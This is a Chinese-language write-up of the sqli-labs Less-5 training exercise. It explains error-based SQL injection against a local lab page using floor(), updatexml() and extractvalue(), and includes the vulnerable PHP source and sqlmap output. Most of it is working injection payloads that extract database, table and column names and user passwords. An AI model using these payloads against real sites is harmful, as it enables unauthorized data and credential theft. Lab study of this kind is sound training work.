sqli-lab-less5
一、靶标地址
Less-5 GET-Double Injection- Single Quotes-string
#字符型带单引号双注入
http://127.0.0.1/sqli/less-5/
二、漏洞探测
http://127.0.0.1/sqli/less-5/?id=1
#正常回显
#You are in...........
http://127.0.0.1/sqli/less-5/?id=1'
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
#单引号里面的是报错的语句 '1'' LIMIT 0,1
#通过报错猜测后面的语句为 where id='$id' limit 0,1
http://127.0.0.1/sqli/less-5/?id=1'--+
#正常回显
#You are in...........
#select * from users where id='1' limit 0,1;
思路:正常回显无法爆库,须通过报错回显爆库
三、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//漏洞语句部分
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//正常回显无法报出内容
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
//只能在报错语句中显示数据库内容
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
四、黑盒与白盒测试
#黑白盒直接测试
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
相关函数:
floor()、updatexml()、extractvalue()
1、floor()函数报错
参考链接:
https://blog.csdn.net/qq_45305211/article/details/127515012
floor(x) 返回小于或等于x的最大整数
select floor(1.5) 小于或等于 1.5 的整数
报错回显语句模型:
select count(*) from <table_name> group by concat_ws("~",database(),floor(rand(0)*2));
或者使用别名用法
select count(*),concat(database(),floor(rand(0)*2)) as x from infromation_schema.tables group by x;
#infromation_schema.tables #mysql数据库默认数据库和数据表
使用到的函数
rand()函数:随机返回0~1之间的小数。
select rand();
select rand()*2;
select rand() from security.users; #根据表中的行数随机显示结果
floor()函数:向下取整,比如1.314,floor(1.314)为1。
select floor(1.2);
select floor(rand()*2); #*2的原因是,使用floor函数之后,可能出现的结果有两个值0或1
select floor(rand()*2) from security.users; #每次结果不同
conact_ws()函数:将括号中的数据用第一个参数连接起来。
select concat_ws('~',1,2);
select concat_ws('~',version(),floor(rand()*2));
select concat_ws('~',version(),floor(rand()*2)) from security.users;
group by子句:分组语句,根据一个或多个列,对结果进行分组,常与聚合函数连用,用来统计。
as:别名,一般会将一段长的语句进行缩短。
select concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
count()函数:汇总统计数量
select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
#floor()报错注入的原因是group by在向统计表插入数据时,由于rand()多次计算导致插入临时统计表时主键(即group by的字句,也称为group key)重复,从而报错。
#group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次),就是因为此特性,所以引起的主键重复并报错。
#又因为报错前concat_ws()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
#由于使用rand(0)时是在第3次统计,第5次计算rand()出现的报错,所以,如果查询的数据表记录不足3条时,其实是不会报错的。可以考虑rand(14)或rand(18),因为统计的结果的顺序不同
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
select * from users where id='0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+' limit 0,1;
#获取数据库 用户 版本号
id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
#拆解语句
#select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
#select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x;
#select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1;
#这里用select 1,2,3 from()a --+只是嵌套了一层壳 因为联合查询必须是两个表结构一样的表,所以必须嵌套,users这个表有三列
#这里也必须用别名a,因为每一个衍生出的表必须拥有自己的别名
#ERROR 1248 (42000): Every derived table must have its own alias
#0x3a :
#获取表名
id=0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
#获取用户名
id=0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、updatexml()函数报错
UPDATEXML (XML_document, XPath_string, new_value);
XML_document是String格式,为XML文档对象的名称
XPath_string (Xpath格式的字符串)
new_value,String格式,替换查找到的符合条件的数据
#报错原因分析:
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
0x7e ~
#获取数据库名
id=1' and updatexml(1,concat('~',database(),'~',user(),'~',version()),1) --+
#XPATH syntax error: '~security~root@localhost~5.5.53'
#获取表名
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0) --+
#Subquery returns more than 1 row
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0) --+
#XPATH syntax error: '~emails'
#获取列字段
id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),0) --+
id=1' and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),0) --+
3、extractvalue()函数报错
第一个参数是XML文档对象名,第二个参数是路径
#报错原因分析:
由于第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
0x7e ~
group_concat()函数
将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
#获取当期数据库名
id=1' union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+
#XPATH syntax error: '~security~root@localhost~5.5.53'
#获取表名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
#XPATH syntax error: '~emails,referers,uagents,users'
#获取列名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
#XPATH syntax error: '~id,username,password'
#获取列字段
id=1' and extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) --+
id=1' and extractvalue(1,concat(0x7e,(select password from security.users limit 0,1),0x7e)) --+
五、脚本撰写
import requests
url="http://127.0.0.1/sqli/less-3/index.php?id=1"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
payload=""
response=requests.get(url+payload,headers=header)
print(response.text)
六、sqlmap
sqlmap -u http://127.0.0.1/sqli/less-5/index.php?id=1
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 2889=2889 AND 'KsWB'='KsWB
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1989 FROM(SELECT COUNT(*),CONCAT(0x717a787171,(SELECT (ELT(1989=1989,1))),0x71766b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mYQq'='mYQq
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 7350 FROM (SELECT(SLEEP(5)))XtCu) AND 'JKvh'='JKvh
七、总结
1、正常回显无法爆库,须通过报错回显爆库
2、有三种方式可以使用报错函数
union select 1,2,报错函数
and 报错函数
union select 1,2,(报错函数)a
3、注入的思路
获取当期数据库名、版本号---获取数据库表名---获取表的列名---获取列值